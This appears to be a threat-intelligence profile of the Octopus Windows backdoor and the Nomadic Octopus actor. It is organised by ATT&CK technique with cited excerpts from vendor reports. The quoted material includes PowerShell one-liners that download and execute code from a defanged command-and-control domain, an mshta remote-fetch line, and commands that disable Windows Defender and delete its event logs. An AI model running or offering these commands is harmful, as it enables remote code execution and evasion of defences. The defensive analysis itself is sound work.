Loading malware…
Octopus is a Windows backdoor associated with the threat actor Nomadic Octopus. It supports surveillance and data theft by capturing screenshots, collecting the victim’s username and host IP address, and gathering files through a document-collection tool. Collected data can be compressed using Abbrevia before being uploaded over the command-and-control channel. Octopus encodes command-and-control communications in Base64 and establishes persistence by placing a malicious executable in the Windows Startup folder. Delivery has relied on spearphishing attachments that require user interaction. The malware has masqueraded as legitimate software, including Java and Telegram Messenger; Nomadic Octopus has used a Russian-language Telegram disguise to encourage execution and conceal the malicious application.
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Nomadic Octopus attempted to make Octopus appear as a Telegram Messenger with a Russian interface.
Octopus, a Rust-based toolkit that's used to elevate privileges in a compromised Linux system.
46 distinct techniques documented for this family, organized by ATT&CK tactic.
"...shifting the focus... from the exploitation of 1-day vulnerabilities in corporate services available from the internet (e.g., Microsoft Exchange)..."
In this case, it was not an exercise but a real phishing campaign targeting specific users.
[Octopus](https://attack.mitre.org/software/S0340) has been delivered via spearsphishing emails.(Citation: ESET Nomadic Octopus 2018)
[Octopus](https://attack.mitre.org/software/S0340) has used wmic.exe for local discovery information.(Citation: Securelist Octopus Oct 2018)
schtasks /create /sc minute /mo 60 /f /tn achromeupdater /tr "powershell -w hidden \"add-type -assemblyname system.core;iex (new-object net.webclient).downloadstring(''hxxp://hpsj[.]firewall-gateway[.]net:80/hpjs.php''');\""
Any other command is interpreted via 'Invoke-Expression'
start /b powershell -w hidden "iex(new-object net.webclient).downloadstring('hxxp://hpsj[.]firewall-gateway[.]net:443/uddiexplorer');"
Both objects are the same and contain a Windows batch fime.
var cm="powershell -exec bypass -w 1 -c $V=new-object net.webclient;..."; var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');
the generated shellcode is using CreateProcessA to start powershell.exe oneliner that will launch powershell agent
has attempted to get victims to launch malicious Microsoft Word attachments delivered via spearphishing emails... has required user execution of a malicious MSI installer... has been executed through user installation of an executable disguised as a flash installer.
[Octopus](https://attack.mitre.org/software/S0340) has relied upon users clicking on a malicious attachment delivered through spearphishing.(Citation: ESET Nomadic Octopus 2018)
schtasks /create /sc minute /mo 60 /f /tn achromeupdater /tr "powershell -w hidden \"add-type -assemblyname system.core;iex (new-object net.webclient).downloadstring(''hxxp://hpsj[.]firewall-gateway[.]net:80/hpjs.php''');\""
reg delete "hklm\software\policies\microsoft\windows defender" /f reg add "hklm\software\policies\microsoft\windows defender" /v "disableantispyware" /t reg_dword /d "1" /f
C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
[Octopus](https://attack.mitre.org/software/S0340) achieved persistence by placing a malicious executable in the startup directory and has added the <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code> key to the Registry.(Citation: Securelist Octopus Oct 2018)
schtasks /create /sc minute /mo 60 /f /tn achromeupdater /tr "powershell -w hidden \"add-type -assemblyname system.core;iex (new-object net.webclient).downloadstring(''hxxp://hpsj[.]firewall-gateway[.]net:80/hpjs.php''');\""
C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
[Octopus](https://attack.mitre.org/software/S0340) achieved persistence by placing a malicious executable in the startup directory and has added the <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code> key to the Registry.(Citation: Securelist Octopus Oct 2018)
if the victim's computer is running Windows 10, two UAC bypass techniques are attempted: The first one targets 'fodhelper.exe' by creating a registry key 'HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute'. The second one targets 'eventvwr.exe'.
This 'sc.bat' is heavily obfuscated: This file contains Chinese characters but interesting strings can be extracted
actors used the following command to rename one of their tools to a benign file name: ren "%temp%\upload" audiodg.exe ... APT1 ... used ... AcroRD32.exe ... as a name for malware ... APT28 ... changed extensions on files containing exfiltrated data to make them appear benign ... APT32 has renamed a NetCat binary to kb-10233.exe to masquerade as a Windows update.
[Octopus](https://attack.mitre.org/software/S0340) has been disguised as legitimate programs, such as Java and Telegram Messenger.(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)
cd winevt\logs del /f microsoft-windows-windows defender4operational.evtx del /f microsoft-windows-windows defender4whc.evtx
auto_kill: variable to control when the agent will be killed after N failed connections with the C2
HTA oneliner ... mshta http://192.168.178.1:8080/hta
deploy_cobalt_beacon deploy cobalt strike powershell beacon in the current process
reg delete "hklm\software\policies\microsoft\windows defender" /f reg add "hklm\software\policies\microsoft\windows defender" /v "disableantispyware" /t reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v "disablerealtimemonitoring" /t reg_dword /d "1" /f ... sc stop windefend sc config windefend start= disabled sc delete windefend
To facilitate successful credentials interception, the bad actors use a so called "Webinjects" - customized modules or packages used in malware that typically inject HTML or JavaScript code into content before it's rendered on a web browser. As a result, webinjects can alter what the user sees on his/her browser... malware developers design code to intercept victims credentials using such approach
[Octopus](https://attack.mitre.org/software/S0340) can collect the host IP address from the victim’s machine.(Citation: Securelist Octopus Oct 2018)
[Octopus](https://attack.mitre.org/software/S0340) can collect the username from the victim’s machine.(Citation: Securelist Octopus Oct 2018)
Report: To return information about the victim (processes, IP address, etc)
[Octopus](https://attack.mitre.org/software/S0340) can collect the computer name, OS version, and OS architecture information.(Citation: Securelist Octopus Oct 2018)
[Octopus](https://attack.mitre.org/software/S0340) can collect information on the Windows directory and searches for compressed RAR files on the host.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)
Numerous entries mention enumerating drives, logical disks, disk type, free space, or volume information; examples include 'Babuk can enumerate disk volumes,' 'Cuba can enumerate local drives,' and 'TAINTEDSCRIBE can use DriveList to retrieve drive information.'
[Octopus](https://attack.mitre.org/software/S0340) can collect system drive and disk size information.(Citation: Securelist Octopus Oct 2018)
[Octopus](https://attack.mitre.org/software/S0340) can exfiltrate files from the system using a documents collector tool.(Citation: ESET Nomadic Octopus 2018)
To facilitate successful credentials interception, the bad actors use a so called "Webinjects" - customized modules or packages used in malware that typically inject HTML or JavaScript code into content before it's rendered on a web browser. As a result, webinjects can alter what the user sees on his/her browser... malware developers design code to intercept victims credentials using such approach
The content repeatedly describes adversaries and malware storing collected data, command output, credentials, archives, or files in local temporary folders, working directories, hidden directories, registry locations, recycle bins, or specific files prior to exfiltration.
[Octopus](https://attack.mitre.org/software/S0340) has stored collected information in the Application Data directory on a compromised host.(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)
[Octopus](https://attack.mitre.org/software/S0340) can capture screenshots of the victims’ machine.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)
webinjects can alter what the user sees on his/her browser, as opposed to what's in fact being sent by the server... the webinject will interpret an identical design of legitimate pages from popular services.
Multiple actors and tools are described as using 7-Zip/WinRAR/zip/tar/gzip/makecab/PowerShell Compress-Archive to compress (often password-protect/encrypt) collected data prior to exfiltration (e.g., “used 7zip to archive extracted data in preparation for exfiltration”, “created password-protected RAR archives prior to exfiltration”, “used built-in PowerShell capabilities (Compress-Archive cmdlet) to compress collected data”).
[Octopus](https://attack.mitre.org/software/S0340) has compressed data before exfiltrating it using a tool called Abbrevia.(Citation: ESET Nomadic Octopus 2018)
[Octopus](https://attack.mitre.org/software/S0340) has used HTTP GET and POST requests for C2 communications.(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)
[Octopus](https://attack.mitre.org/software/S0340) can download additional files and tools onto the victim’s machine.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)
ADVSTORESHELL C2 traffic is encrypted, then encoded with Base64 encoding. APT19 HTTP malware variant used Base64 to encode communications to the C2 server. APT33 has used base64 to encode command and control traffic.
[Octopus](https://attack.mitre.org/software/S0340) has encoded C2 communications in Base64.(Citation: Securelist Octopus Oct 2018)
[Octopus](https://attack.mitre.org/software/S0340) has uploaded stolen files and data from a victim's machine over its C2 channel.(Citation: Securelist Octopus Oct 2018)
Kimsuky has exfiltrated stolen files and data to actor-controlled Blogspot accounts. Octopus has exfiltrated data to file sharing sites. HAMMERTOSS exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.
[Octopus](https://attack.mitre.org/software/S0340) has exfiltrated data to file sharing sites.(Citation: ESET Nomadic Octopus 2018)
19 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
56 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.